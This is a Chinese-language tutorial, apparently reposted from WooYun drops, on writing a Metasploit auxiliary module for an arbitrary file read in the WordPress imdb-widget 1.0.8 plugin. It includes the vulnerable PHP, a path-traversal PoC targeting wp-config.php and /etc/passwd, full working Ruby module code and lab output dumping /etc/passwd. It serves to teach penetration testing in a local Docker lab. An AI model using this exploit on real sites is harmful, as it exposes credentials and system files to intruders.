<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/14408

    0x00 概述


    Metasploit——滲透測試神器,相信大家應該都用過或聽過,drops里也有很多白帽子寫過相關的文章,介紹如何使用Metasploit。使用過Metasploit的同學應該知道,Metasploit Framework是高度模塊化的,即框架是由多個module組成,我們除了可以使用已有的 module,還可以自行編寫module來滿足自己的需求,模塊化使得框架具有很好的可擴展性,這也是為什么Metasploit Framework這么受歡迎的原因之一。

    看了看drops之前的文章,好像沒人寫過關于如何編寫 Metasploit Module,剛好最近在搗鼓Metasploit,順便復習下快遺忘的ruby,記錄下自己學習的過程。

    因為是入門篇,所以這里以一個非常簡單WordPress Plugin的任意文件讀取漏洞作為例子,搭建環境,編寫自己的Auxiliary module(輔助模塊),然后測試驗證,介紹編寫自己的 module的步驟和方法。

    文中如果有說的不對或不準確的地方,歡迎大家指出~

    0x01 漏洞環境


    漏洞環境是一個WordPress 插件imdb-widget 1.0.8版本的任意文件讀取漏洞,缺陷代碼存在于pic.php,代碼:

    <?php
    header( 'Content-Type: image/jpeg' );
    readfile( $_GET["url"] );
    

    PoC:

    /wp-content/plugins/imdb-widget/pic.php?url=../../../wp-config.php
    

    因為 Content-Type 被設置成了 image/jpeg,所以訪問后需要點擊另存為文本文件,然后打開就可以獲取到文件內容

    可以參考Wordpress Plugin IMDb Profile Widget 1.0.8 - Local File Inclusion

    0x02 環境搭建


    環境搭建包括兩部分

    Metasploit

    這里使用 Kali 2.0,自帶Metasploit,比較方便,下載Prebuilt Kali Linux VirtualBox Images,導入VirtualBox就可以用,這里就不細說了

    WordPress 插件漏洞環境

    這里使用docker來搭建,操作系統為 Ubuntu 14.04,docker的安裝大家可以 google下

    拉取 WordPress image

    docker pull wordpress:4.4.2
    

    拉取 Mysql image

    docker pull mysql:5.7.11
    

    拉取過程可能會比較慢,可以裝個Shadow(socks)和proxychains,再proxychains docker pull

    啟動 mysql container

    docker run -d -p 3306:3306 --name mysql -e MYSQL_ROOT_PASSWORD=root mysql:5.7.11
    

    啟動 wordpress container

    docker run -d --name wordpress --link mysql:mysql -p 80:80 wordpress:4.4.2
    

    訪問

    http://127.0.0.1/
    

    根據頁面提示Install就行

    接著登錄后臺

    http://127.0.0.1/wp-login.php
    

    下載插件imdb-widget有漏洞的1.0.8版本,點擊左邊導航欄的 插件 - 安裝插件 - 上傳插件,選擇剛才下載的zip包,點現在安裝 - 啟用插件

    然后點擊 外觀 - 小工具,把左邊的 IMDb Profile 拖到 掛件區域的第一個位置,點開設置User id,隨便填一個如ur1,Show 隨便勾選幾個,點保存。主頁刷新就可以看到了

    測試漏洞,執行如下命令,就可以看到 /etc/passwd 的內容

    wget -O result.txt http://127.0.0.1/wp-content/plugins/imdb-widget/pic.php?url=../../../../../../../../../etc/passwd
    
    cat result.txt
    ...
    

    0x03 編寫Module


    編寫之前先簡單介紹一些概念相關的東西

    Metasploit中的 Module Tree 分為兩種,Primary Module TreeUser-Specified Module Tree,前者用于放框架自帶的module,后者用于放自己寫的module.

    Primary Module Tree在目錄 /usr/share/metasploit-framework/modules/

    User-Specified Module Tree 在 ~/.msf7/modules/(官網寫的是~/.msf4/modules/)

    Module的分類包括6種:

    drwxr-xr-x 20 root root 4.0K Jan 28 05:38 auxiliary
    drwxr-xr-x 11 root root 4.0K Jan 28 05:38 encoders
    drwxr-xr-x 18 root root 4.0K Jan 28 05:38 exploits
    drwxr-xr-x  9 root root 4.0K Jan 28 05:38 nops
    drwxr-xr-x  5 root root 4.0K Jan 28 05:38 payloads
    drwxr-xr-x 11 root root 4.0K Jan 28 05:38 post
    

    根據官網的介紹,翻譯過來大概意思是:

    auxiliary:輔助模塊,不帶有payload的exploit,比如一些掃描模塊

    payloads:遠程運行的代碼,比如反彈shell的代碼

    exploits:帶有payload的exploit

    encoders:用于對payload進行編碼

    nops:保持paload大小的一致性

    post: 獲取權限后,用于后續滲透階段的模塊

    因為任意讀取漏洞是用于獲取信息的,并不能直接獲取系統權限,即不帶有 payload ,因此我們要編寫的module是屬于auxiliary分類下的。

    編寫之前,我們來分析下任意文件讀取漏洞auxiliary module需要完成的功能,簡單來說:

    1. 檢查插件版本,看是否為存在漏洞的版本,如果不是,則返回invulnerable,如果是或不確定,比如獲取不到版本信息,則執行2
    2. 向存在漏洞的頁面發送http請求,獲取某個指定文件的內容,如果獲取成功,則保存文件到本地。如果獲取失敗,有兩種可能性,一是插件不存在漏洞,對應前面獲取不到版本信息的情況;二是文件不存在或文件的權限問題;需要根據返回做相應處理

    注:這里檢查插件是否存在,應該由另一個module來完成,這里只負責檢測插件是否存在漏洞

    分析完后,就得開始寫module了,那么這里有兩種方法:

    1. 找一個auxiliary module的代碼skeleton,然后一點點自己寫;
    2. 找一個類似的已經寫好的module,在它的基礎上改寫;

    這里推薦第二種,比較適合我這種新手,有參考,寫起來也容易些,那么如何找到可以參考的module呢?莫慌~

    打開msfconsole,因為是文件讀取,可以先search wordpress然后再找 read 關鍵詞,在msfconsole中執行

    msf > grep "read" search wordpress
    

    找到如下幾個module

    auxiliary/scanner/http/wp_dukapress_file_read                                   normal     WordPress DukaPress Plugin File Read Vulnerability
    
    auxiliary/scanner/http/wp_gimedia_library_file_read                             normal     WordPress GI-Media Library Plugin Directory Traversal Vulnerability
    
    auxiliary/scanner/http/wp_imdb_profile_widget_file_read                         normal     WordPress IMDb Profile Widget Plugin File Read Vulnerability
    
    auxiliary/scanner/http/wp_mobileedition_file_read                               normal     WordPress Mobile Edition File Read Vulnerability
    
    auxiliary/scanner/http/wp_nextgen_galley_file_read                              normal     WordPress NextGEN Gallery Directory Read Vulnerability
    
    auxiliary/scanner/http/wp_simple_backup_file_read                               normal     WordPress Simple Backup File Read Vulnerability
    
    auxiliary/scanner/http/wp_subscribe_comments_file_read                          normal     WordPress Subscribe Comments File Read Vulnerability
    

    這里選擇auxiliary/scanner/http/wp_dukapress_file_read,具體文件位于/usr/share/metasploit-framework/modules/auxiliary/scanner/http/wp_dukapress_file_read.rb

    代碼如下:

    require 'msf/core'
    
    class Metasploit3 < Msf::Auxiliary
    
      include Msf::Auxiliary::Report
    
      include Msf::Exploit::Remote::HTTP::Wordpress
    
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
    
        super(update_info(info,
          'Name'           => 'WordPress DukaPress Plugin File Read Vulnerability',
          'Description'    => %q{
            This module exploits a directory traversal vulnerability in WordPress Plugin
            "DukaPress" version 2.5.2, allowing to read arbitrary files with the
            web server privileges.
          },
          'References'     =>
            [
              ['EDB', '35346'],
              ['CVE', '2014-8799'],
              ['WPVDB', '7731'],
              ['OSVDB', '115130']
            ],
          'Author'         =>
            [
              'Kacper Szurek', # Vulnerability discovery
              'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
            ],
          'License'        => MSF_LICENSE
        ))
    
        register_options(
          [
            OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
            OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
          ], self.class)
    
      end
    
      def check
    
        check_plugin_version_from_readme('dukapress', '2.5.7')
    
      end
    
      def run_host(ip)
    
        traversal = "../" * datastore['DEPTH']
        filename = datastore['FILEPATH']
        filename = filename[1, filename.length] if filename =~ /^\//
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri(wordpress_url_plugins, 'dukapress', 'lib', 'dp_image.php'),
          'vars_get' =>
            {
              'src' => "#{traversal}#{filename}"
            }
        })
    
        if res && res.code == 200 && res.body.length > 0
    
          print_status('Downloading file...')
          print_line("\n#{res.body}")
    
          fname = datastore['FILEPATH']
    
          path = store_loot(
            'dukapress.file',
            'text/plain',
            ip,
            res.body,
            fname
          )
    
          print_good("#{peer} - File saved in: #{path}")
        else
          print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.")
        end
    
      end
    
    end
    

    看到這一堆代碼,一般人都會有點暈,不知道從那里下手,莫慌,問google,搜索metasploit write module,搜索結果第三個,How to get started with writing an exploit,里面有一些module結構的說明. 這里對照著給了代碼加了些注釋:

    # 引入msf core 庫
    
    require 'msf/core'
    
    # 繼承 Msf::Auxiliary 類
    
    class Metasploit3 < Msf::Auxiliary
    
      # 引入三個 module,具體可以查看文檔
    
      include Msf::Auxiliary::Report
    
      include Msf::Exploit::Remote::HTTP::Wordpress
    
      include Msf::Auxiliary::Scanner
    
      # 初始化函數
    
      def initialize(info = {})
    
        super(update_info(info,
          # [Vendor] [Software] [Root Cause] [Vulnerability type] 
          'Name'           => 'WordPress DukaPress Plugin File Read Vulnerability',
          # 描述
          'Description'    => %q{
            This module exploits a directory traversal vulnerability in WordPress Plugin
            "DukaPress" version 2.5.2, allowing to read arbitrary files with the
            web server privileges.
          },
          # 相關vulnerability 或 exploit的參考
          'References'     =>
            [
              ['EDB', '35346'],
              ['CVE', '2014-8799'],
              ['WPVDB', '7731'],
              ['OSVDB', '115130']
            ],
          # 作者
          'Author'         =>
            [
              'Kacper Szurek', # Vulnerability discovery
              'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
            ],
          'License'        => MSF_LICENSE
        ))
        # 注冊需要參數
        register_options(
          [
            # 要獲取的文件路徑
            OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
            # 遍歷深度,用于到達根目錄,默認7次../
            OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
          ], self.class)
    
      end
    
      # 用于支持 check 命令;在具體執行exploit前,檢查是否存在漏洞
    
      def check
    
        # 檢查dukapress版本,Wordpress module提供
        check_plugin_version_from_readme('dukapress', '2.5.7')
    
      end
    
      def run_host(ip)
    
        traversal = "../" * datastore['DEPTH']
        filename = datastore['FILEPATH']
        filename = filename[1, filename.length] if filename =~ /^\//
        # 發送http請求
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri(wordpress_url_plugins, 'dukapress', 'lib', 'dp_image.php'),
          'vars_get' =>
            {
              'src' => "#{traversal}#{filename}"
            }
        })
        # 檢查響應
        if res && res.code == 200 && res.body.length > 0
    
          print_status('Downloading file...')
          print_line("\n#{res.body}")
    
          fname = datastore['FILEPATH']
          # 保存文件
          path = store_loot(
            'dukapress.file',
            'text/plain',
            ip,
            res.body,
            fname
          )
    
          print_good("#{peer} - File saved in: #{path}")
        else
          print_error("#{peer} - Nothing was downloaded. You can try to change the DEPTH parameter.")
        end
    
      end
    
    end
    

    弄懂大概結構后,我們根據前面的分析,編寫自己的module,完成后的代碼如下

    #
    
    This module requires Metasploit: http://metasploit.com/download
    
    Current source: https://github.com/rapid7/metasploit-framework
    
    #
    
    # 引入msf core 庫
    
    require 'msf/core'
    
    # 繼承 Msf::Auxiliary 類
    
    class Metasploit3 < Msf::Auxiliary
    
      # 引入三個 module,照搬,具體可以查看文檔
    
      include Msf::Auxiliary::Report
    
      include Msf::Exploit::Remote::HTTP::Wordpress
    
      include Msf::Auxiliary::Scanner
    
      # 初始化函數
    
      def initialize(info = {})
    
        super(update_info(info,
          # [Vendor] [Software] [Root Cause] [Vulnerability type] 
          'Name'           => 'WordPress IMDb Profile Widget Plugin File Read Vulnerability',
          # 描述
          'Description'    => %q{
            This module exploits a directory traversal vulnerability in WordPress Plugin
            "IMDb Profile Widget" version 1.0.8, allowing to read arbitrary files with the
            web server privileges.
          },
          # 相關vulnerability 或 exploit的參考
          'References'     =>
            [
              ['URL', 'https://www.exploit-db.com/exploits/39621/']
            ],
          # 作者
          'Author'         =>
            [
              'CrashBandicot @DosPerl', # Vulnerability discovery
              'blinking.yan <blinking.yan[at]gmail.com>' # Metasploit module
            ],
          'License'        => MSF_LICENSE
        ))
        # 注冊需要參數
        register_options(
          [
            OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
            OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
          ], self.class)
    
      end
    
      # 用于支持 check 命令;在具體執行exploit前,檢查是否存在漏洞
    
      def check
    
        # 檢查imdb-widget版本
        check_plugin_version_from_readme('imdb-widget', '1.0.8')
    
      end
    
      # 執行exploit
    
      def run_host(ip)
    
        traversal = "../" * datastore['DEPTH']
        filename = datastore['FILEPATH']
        filename = filename[1, filename.length] if filename =~ /^\//
        # 發送讀取文件的http請求
        res = send_request_cgi({
          'method' => 'GET',
          'uri'    => normalize_uri(wordpress_url_plugins, 'imdb-widget', 'pic.php'),
          'vars_get' =>
            {
              'url' => "#{traversal}#{filename}"
            }
        })
        # 檢查響應
        if res && res.code == 200 && res.body.length > 0
          # 文件不存在
          if res.body.include? 'No such file or directory' 
            print_error("#{peer} - Nothing was downloaded. No such file or directory: /#{filename}. Please change the DEPTH parameter.")
          # 文件讀取權限問題
          elsif res.body.include? 'Permission denied'
            print_error("#{peer} - Nothing was downloaded. Permission denied: /#{filename}. Please change the DEPTH parameter.")
          else
            print_status('Downloading file...')
            print_line("\n#{res.body}")
    
            fname = datastore['FILEPATH']
            # 保存文件
            path = store_loot(
              'imdb-widget.file',
              'text/plain',
              ip,
              res.body,
              fname
            )
    
            print_good("#{peer} - File saved in: #{path}")
          end
        else
          print_error("#{peer} - Http Response Code is not 200 or Plugin is not vulnerable")
        end
    
      end
    
    end
    

    可以看到,改動的地方并不是很多。

    因此我們并不需要弄懂所有的類和方法,也可以寫出自己的module。

    代碼中發送http請求部分可以參考:How to Send an HTTP Request Using HTTPClient

    0x04 測試Module


    前面提到,msf有專門的目錄~/.msf7/modules/來存放自己編寫的module,這里對照著auxiliary/scanner/http/wp_dukapress_file_read,創建目錄

    mkdir -p  ~/.msf7/modules/auxiliary/scanner/http/
    

    將代碼保存~/.msf7/modules/auxiliary/scanner/http/目錄下,文件名為wp_imdb_profile_widget_file_read.rb,重啟msfconsole,加載自定義module,執行

    msfconsole -m ~/.msf7/modules
    

    查看下插件是否已經被load

    msf > grep "imdb" search wordpress
    
    auxiliary/scanner/http/wp_imdb_profile_widget_file_read                         normal     WordPress IMDb Profile Widget Plugin File Read Vulnerability
    

    對前面的漏洞環境進行測試,這里wordpress的ip為192.168.1.191

    msf > use auxiliary/scanner/http/wp_imdb_profile_widget_file_read
    
    msf auxiliary(wp_imdb_profile_widget_file_read) > show options 
    
    Module options (auxiliary/scanner/http/wp_imdb_profile_widget_file_read):
    
       Name       Current Setting  Required  Description
    
    ---
    
       DEPTH      7                yes       Traversal Depth (to reach the root folder)
    
       FILEPATH   /etc/passwd      yes       The path to the file to read
    
       Proxies                     no        A proxy chain of format type:host:port,type:host:port
    
       RHOSTS                      yes       The target address range or CIDR identifier
    
       RPORT      80               yes       The target port
    
       TARGETURI  /                yes       The base path to the wordpress application
    
       THREADS    1                yes       The number of concurrent threads
    
       VHOST                       no        HTTP server virtual host
    
    msf auxiliary(wp_imdb_profile_widget_file_read) > set rhosts 192.168.1.191
    
    rhosts => 192.168.1.191
    
    msf auxiliary(wp_imdb_profile_widget_file_read) > run
    
    [*] Downloading file...
    
    root:x:0:0:root:/root:/bin/bash
    
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    
    sync:x:4:65534:sync:/bin:/bin/sync
    
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    
    systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
    
    systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
    
    systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
    
    systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
    
    [+] 192.168.1.191:80 - File saved in: /root/.msf7/loot/20160403132842default192.168.1.191imdbwidget.file266865.txt
    
    [*] Scanned 1 of 1 hosts (100% complete)
    
    [*] Auxiliary module execution completed
    
    msf auxiliary(wp_imdb_profile_widget_file_read) > 
    

    成功讀取到/etc/passwd,測試成功~

    0x05 結論


    文章主要介紹的是如何去編寫module的方法,有的地方可能寫的不是很詳細。總結來說就是: 在接觸一個新的東西時,參考別人已經寫好的東西,然后修修改改,是一種很好快速入門的方法。

    97av